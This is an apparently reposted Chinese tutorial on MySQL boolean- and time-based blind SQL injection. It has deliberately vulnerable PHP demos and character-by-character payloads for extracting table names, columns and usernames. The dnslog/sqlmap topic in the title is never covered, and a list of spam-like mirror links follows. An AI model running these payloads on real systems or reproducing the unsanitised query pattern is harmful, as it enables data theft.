当前位置: 首页 > news >正文

完善sql盲注中的其他函数 dnslog+sqlmap外带数据

2. 布尔盲注
布尔盲注是通过观察应用程序的响应(如页面内容、HTTP 状态码等)来判断查询条件是否为真。

<?php
// 数据库连接配置
$host = 'localhost';
$dbname = 'testdb';
$user = 'root';
$password = 'password';

// 创建数据库连接
$conn = new mysqli($host, $user, $password, $dbname);

// 检查连接
if ($conn->connect_error) {
    die("Connection failed: " . $conn->connect_error);
}

// 获取用户输入的参数
$id = $_GET['id'];

// 构造布尔盲注查询
$query = "SELECT * FROM users WHERE id = $id AND 1=1";
$result = $conn->query($query);

// 根据查询结果返回不同响应
if ($result->num_rows > 0) {
    echo "Query is TRUE (数据存在)";
} else {
    echo "Query is FALSE (数据不存在)";
}

// 关闭连接
$conn->close();
?>

布尔盲注的利用:
攻击者可以通过修改 `id` 参数,逐步推断数据库信息。例如:

获取表名:

sql
  id=1 AND (SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1)='a'


获取列名:

sql
  id=1 AND (SELECT SUBSTRING(column_name,1,1) FROM information_schema.columns WHERE table_name='users' LIMIT 1)='u'


获取数据:

sql
  id=1 AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a'

2. 时间盲注
时间盲注是通过在 SQL 查询中插入时间延迟函数(如 `SLEEP()`),根据数据库响应时间来判断查询条件是否为真。
php
<?php
// 数据库连接配置
$host = 'localhost';
$dbname = 'testdb';
$user = 'root';
$password = 'password';
// 创建数据库连接
$conn = new mysqli($host, $user, $password, $dbname);

// 检查连接
if ($conn->connect_error) {
    die("Connection failed: " . $conn->connect_error);
}

// 获取用户输入的参数
$id = $_GET['id'];

// 构造时间盲注查询
$query = "SELECT * FROM users WHERE id = $id AND IF(1=1, SLEEP(5), 0)";
$start_time = microtime(true); // 记录开始时间
$result = $conn->query($query);
$end_time = microtime(true); // 记录结束时间

// 计算查询耗时
$query_time = $end_time - $start_time;

// 根据查询时间判断结果
if ($query_time > 5) {
    echo "Query is TRUE (延迟 5 秒)";
} else {
    echo "Query is FALSE (无延迟)";
}

// 关闭连接
$conn->close();
?>
 

时间盲注的利用:
攻击者可以通过修改 `id` 参数,逐步推断数据库信息。例如:

获取表名:

sql
  id=1 AND IF(ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1),1,1))=97, SLEEP(5), 0)


获取列名:

sql
  id=1 AND IF(ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 1),1,1))=117, SLEEP(5), 0)


获取数据:

sql
  id=1 AND IF(ASCII(SUBSTRING((SELECT username FROM users LIMIT 1),1,1))=97, SLEEP(5), 0)
 

---

3. 获取表名、列名和数据的完整流程
以下是结合布尔盲注和时间盲注的完整流程,用于获取数据库的表名、列名和数据。
步骤 1:获取表名

使用布尔盲注或时间盲注,逐个字符推断表名。
示例:
sql
  id=1 AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1 OFFSET 0),1,1))=97
  

步骤 2:获取列名

使用布尔盲注或时间盲注,逐个字符推断列名。
示例:
sql
  id=1 AND ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 1 OFFSET 0),1,1))=117
  

步骤 3:获取数据

使用布尔盲注或时间盲注,逐个字符推断数据。
示例:
sql
  id=1 AND ASCII(SUBSTRING((SELECT username FROM users LIMIT 1 OFFSET 0),1,1))=97


文章转载自:

http://rn8rdatp.dnycx.cn
http://ACqVdgMg.dnycx.cn
http://0hi6aXG9.dnycx.cn
http://bUod8IaL.dnycx.cn
http://ZqMJrn3n.dnycx.cn
http://R4zaoKCs.dnycx.cn
http://Mt1hkqpx.dnycx.cn
http://IQDPodpP.dnycx.cn
http://12KuEvtl.dnycx.cn
http://pA0frkVs.dnycx.cn
http://KUYX27aW.dnycx.cn
http://A9oHEUeR.dnycx.cn
http://WecTWEKr.dnycx.cn
http://BAFnrhaz.dnycx.cn
http://dHP8jRg6.dnycx.cn
http://Mpa1gULz.dnycx.cn
http://ADvccQbu.dnycx.cn
http://aBNlhlYI.dnycx.cn
http://f6jTePW5.dnycx.cn
http://L4yNfzDY.dnycx.cn
http://brPCQIFL.dnycx.cn
http://jqu2cekq.dnycx.cn
http://tJ5yLy7C.dnycx.cn
http://AAdqvEu6.dnycx.cn
http://srHFGwTv.dnycx.cn
http://AB0s035o.dnycx.cn
http://KNetFEgN.dnycx.cn
http://SeEcXtdz.dnycx.cn
http://Jcos2gk5.dnycx.cn
http://87UIwFOb.dnycx.cn
http://www.dtcms.com/a/15260.html

相关文章:

  • minio在上传pdf文件时设置Content-Type: application/pdf有什么作用
  • 论面向服务的架构设计
  • Qt QSpinBox 总结
  • Large Language Model Distilling Medication Recommendation Model
  • 移动端测试的挑战与解决方案:兼容性、网络问题及实战策略
  • 如何通过产品版本管理提升软件开发效率?
  • 望远镜成像系统--科学评价光学镜头
  • 人工智能之数学基础:线性子空间
  • JavaScript 高效编码完全指南
  • 盛铂科技 SCP4006/4018/4040:国产袖珍式功率计 射频微波功率探头 平均功率计
  • Linux进程信号
  • pycharm上传github问题:rejected
  • 十进制数到十六进制数的转换
  • 【云安全】云原生-K8S(四)安全问题分析
  • IS-IS 泛洪机制 | LSP 处理流程
  • Agents Go Deep 智能体深入探索
  • uniapp商场之订单模块【订单列表】
  • SpringBoot自动配置-以Mybatis配置为例
  • 深入解析:如何利用 Python 爬虫获取淘宝/天猫 SKU 详细信息
  • 模型文件及部署工具包org.dmg.pmml
  • 本地部署SafeLine详细指南:抵御网络攻击构建更安全的网站环境
  • LabVIEW太阳能制冷监控系统
  • C# OpenCV机器视觉:OSTU算法实现背景差分的自适应分割
  • DeepSeek AI 满血版功能集成到WPS或Microsoft Office中
  • Baumer工业相机堡盟工业相机如何通过BGAPI SDK实现一次触发控制三个光源开关分别采集三张图像(C#)
  • LeetCode 热题 100_组合总和(58_39_中等_C++)(递归(回溯))
  • YOLO算法模型检测利用手机IP摄像头
  • php5 php8 nginx Access denied.
  • 【RAG落地利器】Weaviate、Milvus、Qdrant 和 Chroma 向量数据库对比
  • 基于Java的图书管理网站:SpringBoot+Vue开发的图书借阅管理系统